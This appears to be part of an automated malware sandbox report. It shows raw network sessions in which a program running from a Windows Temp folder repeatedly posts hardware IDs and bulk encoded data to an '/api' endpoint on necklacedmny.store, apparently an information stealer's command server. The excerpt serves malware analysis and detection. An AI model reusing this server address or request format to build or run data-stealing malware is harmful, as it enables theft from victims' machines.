Ip0Fu9m0hJlS8ua0GLw3dcSuGshS5xI1kcWoRNaVgqQP0BU3FVwloRfus5Q0kX4g0IoS8H7HbgGR8bFF97W+2T6JLeP5hKiZVvbyhCywb3HNjwvsWrYnWNlpoS2GnSbpDq1V87SA1ZkP1sqlKcF/UfymFuBixxI5/fWJZdu11sEm+QW/3byAsUrm6qQ46FJA6Y4ujUe2Jrn1kSENppXj/WuxCZrY4aiFWtLSvDCMa3XQmhrwdtcmNcHRmWXPpa7
2024-10-31 23:39:08 UTC	1369	IN	Data Raw: 59 76 31 6d 4a 43 6c 63 75 62 6a 6c 52 47 67 59 79 44 52 37 7a 4a 77 4c 75 4d 2b 5a 5a 30 64 73 55 53 71 6c 65 50 39 61 37 45 4a 6d 74 6a 68 71 4a 56 61 2f 75 4b 41 4f 49 42 6a 54 64 53 2b 49 74 68 79 78 77 49 70 7a 59 48 6c 58 64 65 56 6f 76 30 79 67 56 32 54 7a 59 43 5a 6f 46 50 57 79 76 55 70 77 58 2b 46 6a 49 38 79 6b 58 36 79 4a 69 58 6f 79 4d 78 46 30 36 48 57 39 54 4b 78 45 61 66 4a 72 4c 53 35 63 74 4c 61 67 43 53 30 5a 30 58 51 76 68 72 77 5a 76 38 65 44 63 48 5a 74 56 7a 75 72 4a 37 5a 62 37 42 30 71 78 47 30 6b 49 56 6d 7a 75 4c 4d 69 47 56 2f 50 4f 6a 72 4d 76 42 33 31 6b 63 35 79 65 57 4e 64 66 75 31 69 73 45 75 6d 54 57 58 35 63 69 73 6e 55 37 4b 2b 71 41 55 6d 47 74 35 6d 4a 49 65 77 47 62 7a 48 69 44 59 38 4b 31 5a 6a 70 54 2f 78 64 61 39 Data Ascii: Yv1mJClcubjlRGgYyDR7zJwLuM+ZZ0dsUSqleP9a7EJmtjhqJVa/uKAOIBjTdS+IthyxwIpzYHlXdeVov0ygV2TzYCZoFPWyvUpwX+FjI8ykX6yJiXoyMxF06HW9TKxEafJrLS5ctLagCS0Z0XQvhrwZv8eDcHZtVzurJ7Zb7B0qxG0kIVmzuLMiGV/POjrMvB31kc5yeWNdfu1isEumTWX5cisnU7K+qAUmGt5mJIewGbzHiDY8K1ZjpT/xda9
2024-10-31 23:39:08 UTC	1369	IN	Data Raw: 43 34 6d 53 4c 53 36 35 55 52 6f 47 4d 67 30 65 38 79 4b 42 37 4c 4f 67 54 52 62 62 45 70 36 37 32 53 36 54 2b 78 61 4a 4f 38 67 4c 53 51 61 37 66 57 6f 42 69 55 62 77 6e 67 6a 6a 4c 49 57 76 39 75 42 65 58 39 6f 55 58 37 33 5a 71 4e 4d 70 30 42 70 38 6d 38 6c 4a 46 4b 2f 39 65 74 4b 4c 77 65 51 4c 47 4f 67 75 41 43 2f 69 36 6c 73 5a 47 78 64 61 75 35 71 76 51 4f 7a 43 33 4f 32 5a 79 5a 6f 41 76 57 31 70 41 63 36 47 74 46 2b 4b 59 47 7a 48 72 44 4d 67 58 4a 32 59 46 39 70 36 32 69 78 52 61 64 45 62 2f 56 72 49 43 5a 54 70 2f 58 72 53 69 38 48 6b 43 78 6a 70 71 41 51 75 4d 58 4d 57 48 6c 39 56 6a 6e 45 61 62 70 45 6f 46 4d 71 36 53 34 7a 61 46 32 35 39 66 31 4b 49 52 48 63 64 79 53 45 73 78 53 31 77 6f 35 35 65 47 56 57 61 65 39 72 75 31 47 6a 52 6d 66 79 Data Ascii: C4mSLS65URoGMg0e8yKB7LOgTRbbEp672S6T+xaJO8gLSQa7fWoBiUbwngjjLIWv9uBeX9oUX73ZqNMp0Bp8m8lJFK/9etKLweQLGOguAC/i6lsZGxdau5qvQOzC3O2ZyZoAvW1pAc6GtF+KYGzHrDMgXJ2YF9p62ixRadEb/VrICZTp/XrSi8HkCxjpqAQuMXMWHl9VjnEabpEoFMq6S4zaF259f1KIRHcdySEsxS1wo55eGVWae9ru1GjRmfy
2024-10-31 23:39:08 UTC	848	IN	Data Raw: 50 31 73 71 6c 4b 63 46 2f 51 63 43 2b 50 76 42 2b 36 78 49 46 78 65 57 52 62 64 66 64 6f 74 45 75 67 54 57 66 6b 61 69 41 36 55 37 79 34 71 77 49 36 48 4a 41 36 59 34 75 6a 55 65 32 4a 76 48 78 78 5a 30 64 32 36 69 65 75 44 62 55 46 62 66 6f 67 63 6d 68 49 70 37 57 75 43 69 38 52 77 6e 55 72 67 37 45 52 73 38 4b 45 64 58 74 76 58 33 4c 6a 5a 72 78 43 72 55 56 76 39 6d 6b 34 4a 52 72 37 39 61 49 53 61 45 65 51 51 79 2b 48 69 68 4b 6a 69 5a 45 34 61 79 74 57 64 36 55 2f 38 55 4b 2b 53 47 4c 79 59 43 63 75 55 62 53 30 70 67 6f 6f 48 4e 42 78 4b 49 4f 39 46 72 6a 44 68 33 39 67 59 31 56 70 35 57 75 31 41 2b 49 46 62 65 34 67 63 6d 68 71 74 72 36 70 43 69 55 4b 6b 47 74 74 6c 66 73 57 75 59 6e 57 4e 6e 70 67 57 6e 33 75 5a 4c 4a 4e 70 30 39 6c 2b 57 6f 73 4c Data Ascii: P1sqlKcF/QcC+PvB+6xIFxeWRbdfdotEugTWfkaiA6U7y4qwI6HJA6Y4ujUe2JvHxxZ0d26ieuDbUFbfogcmhIp7WuCi8RwnUrg7ERs8KEdXtvX3LjZrxCrUVv9mk4JRr79aISaEeQQy+HihKjiZE4aytWd6U/8UK+SGLyYCcuUbS0pgooHNBxKIO9FrjDh39gY1Vp5Wu1A+IFbe4gcmhqtr6pCiUKkGttlfsWuYnWNnpgWn3uZLJNp09l+WosL
2024-10-31 23:39:08 UTC	1369	IN	Data Raw: 37 66 66 0d 0a 4c 66 56 79 4f 43 35 5a 6f 37 62 69 4e 42 59 63 78 6e 6b 73 68 37 6f 76 69 2b 65 44 64 33 46 6c 45 30 72 7a 61 71 46 41 71 55 4a 55 79 47 34 74 50 46 32 37 73 36 56 4b 5a 6c 2f 66 4e 48 75 31 2b 31 6e 31 39 73 41 32 61 69 73 4a 4f 39 42 6b 76 30 32 72 55 33 75 37 51 7a 77 6c 56 62 36 30 35 55 52 6f 47 5a 41 73 63 38 4c 37 46 61 53 4a 31 69 59 67 4d 41 51 6f 73 6a 66 6a 58 4f 4a 63 4b 75 41 67 63 6e 6f 55 39 61 66 6c 55 6d 68 59 33 6e 6b 69 6a 37 55 53 70 39 75 49 64 57 52 6f 46 6b 58 62 52 72 78 49 6f 45 68 6c 2f 56 34 55 43 56 65 2b 75 61 67 46 49 79 48 75 59 53 43 43 74 52 61 6a 32 4d 34 34 4d 6d 51 52 49 39 77 6e 2b 51 4f 54 43 79 72 75 49 48 4a 6f 62 37 61 37 71 77 30 2b 44 70 31 56 4c 6f 65 33 48 4c 72 43 7a 6a 67 79 62 52 45 6a 74 53 Data Ascii: 7ffLfVyOC5Zo7biNBYcxnksh7ovi+eDd3FlE0rzaqFAqUJUyG4tPF27s6VKZl/fNHu1+1n19sA2aisJO9Bkv02rU3u7QzwlVb605URoGZAsc8L7FaSJ1iYgMAQosjfjXOJcKuAgcnoU9aflUmhY3nkij7USp9uIdWRoFkXbRrxIoEhl/V4UCVe+uagFIyHuYSCCtRaj2M44MmQRI9wn+QOTCyruIHJob7a7qw0+Dp1VLoe3HLrCzjgybREjtS
2024-10-31 23:39:08 UTC	685	IN	Data Raw: 59 48 33 31 63 43 77 72 5a 49 75 65 71 51 77 76 42 64 64 79 42 61 7a 37 58 2f 58 47 7a 69 35 4c 4b 78 6b 37 32 69 6e 78 57 2b 77 64 4b 73 4e 6a 4a 43 5a 64 6f 36 54 6f 4c 7a 38 63 77 48 49 67 7a 50 56 52 73 34 6e 57 4a 6a 77 72 56 57 71 6c 50 2b 45 52 39 78 41 35 6f 54 42 34 4e 78 53 73 39 62 4e 4b 63 45 32 65 4e 44 48 4d 34 31 48 79 79 70 78 6b 64 47 68 48 65 4b 4a 5a 6a 32 57 76 56 47 44 58 62 54 6f 76 5a 49 75 67 70 67 51 6d 47 4d 5a 6c 59 38 4c 37 48 76 57 52 74 7a 59 36 4a 31 64 34 38 79 65 4f 44 65 78 64 4b 71 34 67 48 79 74 55 75 37 4b 7a 47 32 55 35 30 32 55 70 72 62 59 42 73 6f 6e 41 4e 6e 51 72 43 53 69 72 4a 37 56 53 37 42 30 36 70 44 74 2f 65 77 33 6c 35 37 70 45 4d 56 2f 47 4e 48 76 65 39 56 47 6e 69 64 59 32 4e 57 68 44 61 65 4e 6b 70 30 44 Data Ascii: YH31cCwrZIueqQwvBddyBaz7X/XGzi5LKxk72inxW+wdKsNjJCZdo6ToLz8cwHIgzPVRs4nWJjwrVWqlP+ER9xA5oTB4NxSs9bNKcE2eNDHM41HyypxkdGhHeKJZj2WvVGDXbTovZIugpgQmGMZlY8L7HvWRtzY6J1d48yeODexdKq4gHytUu7KzG2U502UprbYBsonANnQrCSirJ7VS7B06pDt/ew3l57pEMV/GNHve9VGnidY2NWhDaeNkp0D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50011	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 23:39:09 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:10 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n6g79t8b9u6v51fufc82cn4l8j; expires=Mon, 24-Feb-2025 17:25:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvbNxrgWZbw0B6bXsiJ49KF0ninP4AYJCVwujOc7h9NiNOalJdYo5JfeiRt%2FmdaMpg%2F5H%2Fhy7ZXiejnTcOfEjpUS00%2B2odcjezUEdJUOBSNoNw5vwqhgUa6%2BmwuG7QbOZUZZxho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b992ee24696-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2594982&cwnd=251&unsent_bytes=0&cid=f20bb2c521020802&ts=741&x=0"
2024-10-31 23:39:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50015	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:11 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 23:39:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:12 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f44llbhknqr7slqftvnf06g719; expires=Mon, 24-Feb-2025 17:25:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EmiB3I75MBzqLU379v1u26gKfD01Hzi3ufw%2BIyjMnOzhLk%2B6%2Flw6xNwDSfQ2DXYiPjrV2JtLAiXXFfCA17WcZQYwom1Nv4DtB29wnHfW55NFxPWl0wzBZcsASltavxApT3faBew%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77ba7a9174636-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2125&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=1324188&cwnd=251&unsent_bytes=0&cid=69232e1c776f8848&ts=574&x=0"
2024-10-31 23:39:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50020	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 23:39:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:15 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 23:39:15 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=takk9pdk289e0ooe4a0l30ij9h; expires=Mon, 24-Feb-2025 17:25:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uWw9p8vahjAl6eUnw8KpQ6L5hICcWJJCymvD3WOKnwEMTbj54VuAZ8LU9H8%2FmAN4fITuhZCDcGjbEWoKQJBES3CJI9iBaIKbATD6Cl219wMwv2QbAoMm6m3bJnvI46uyHM9brMA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77bbb7c93a924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=1892810&cwnd=201&unsent_bytes=0&cid=dd37302ce9acde5e&ts=672&x=0"
2024-10-31 23:39:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50028	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:20 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1309 Host: necklacedmny.store
2024-10-31 23:39:20 UTC	1309	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:21 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ovp11ecmr8mh5e8tvjddmci2p2; expires=Mon, 24-Feb-2025 17:25:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QwyF1ooUDk7z49hWo40%2B8Zsn2F7xRaj%2BPo%2F5g%2F0vPpFcJck%2FJJl0swqvdH4D8GSkny6yeu3D4ygMMsblJDxI1DbtyvnkAx5O5jssFZa%2BNJjR5gAnr4XHwcxScvMaXxwSMP0Jhc4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77bdcc8cf2c92-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2228&delivery_rate=2524847&cwnd=239&unsent_bytes=0&cid=2bfecfa8c09718c7&ts=742&x=0"
2024-10-31 23:39:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50033	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551393 Host: necklacedmny.store
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: c9 3b 63 cb bb 79 dd dd 2e 76 e1 be ac 6a bc 07 de f5 47 92 00 39 90 6b 63 6a f2 65 f2 0d cb 85 05 f4 2b 74 4c a6 95 29 24 db a6 b1 ef ac 04 c2 d0 79 58 6b cf 72 0d 1b 23 1f b7 0f 48 a6 fd aa 74 1b ae 14 fc f4 16 19 e1 b2 21 62 02 f7 d3 ec 5c 8e 67 d4 9f ac 58 f3 fd b1 a9 d2 0d 96 73 3a cd 14 bf a4 b0 4b bf 78 9b 54 5b 25 b4 17 c0 8d 89 de 84 29 03 29 c1 ab 51 cd d5 9a 88 99 c2 46 68 f3 12 98 45 6e 8d 46 11 3b 5b 1b 84 d5 4f ba 24 65 16 4d fb 65 8d fa 52 ea 1e ae 9c fc 7c 02 24 a7 87 71 a9 cf 41 df b3 22 dd 06 19 f7 c0 02 57 7d ac 1a 7d 56 12 7c 67 97 72 fe 9d 63 ad 5b e9 81 57 bc 4b 7a 65 e0 35 ff a6 62 23 2c 7f 9a 6f 53 53 1e dd a5 05 d7 06 ec 8b 86 18 68 d6 4c 52 ad ce 08 21 df 0e 6c fe 46 99 92 c0 b3 f9 0b 17 d8 cf c7 3a 27 0c 34 bf 29 d7 b3 51 8d db Data Ascii: ;cy.vjG9kcje+tL)$yXkr#Ht!b\gXs:KxT[%))QFhEnF;[O$eMeR\|$qA"W}}V\|grc[WKze5b#,oSShLR!lF:'4)Q
2024-10-31 23:39:23 UTC	15331	OUT	Data Raw: 42 fb ed ca bd b6 15 f7 9c 66 23 38 72 69 79 f7 fc 7c 7a e2 3d 06 c2 f2 1f 28 a6 8f 78 b0 f8 64 b4 a4 13 96 e2 96 6d 9b 82 7f 2a 67 83 6f cd 3e d8 89 4f 7d a1 ae 8f 55 1d a1 15 1b ce 96 0c 0d 6a 7d e1 79 52 81 38 10 12 33 fd fd 6b 96 07 70 28 b0 8f 88 e8 23 9e 35 96 f0 10 68 4a a1 62 1e 6e 07 07 09 2e 8c 31 3f ce 85 7d 92 e3 d9 76 cb fd 66 a7 0d 8d 88 bd 72 20 14 62 25 95 df 58 68 1b 32 5e c4 12 15 83 63 34 5a f7 c8 5c 02 16 6f 76 7c e7 0f 4f eb 77 7f 30 6e af dd 30 9a 2e ee b6 7d 6e eb f1 55 63 ba 96 d5 52 fb c6 67 48 43 85 46 c6 c2 dd 83 2c 95 69 46 5e 95 76 35 bd 3e fa 7b 5e d0 bc f3 f4 53 c7 b4 a7 c1 23 d2 e2 6f ac 6c 7d ad b6 6b 6d b6 ae 23 28 a3 b4 c6 4f e2 8e fb de c4 90 da e3 c0 cc 80 62 84 1b 86 01 71 ed 44 a9 ee 73 7d f6 e6 6b 49 d6 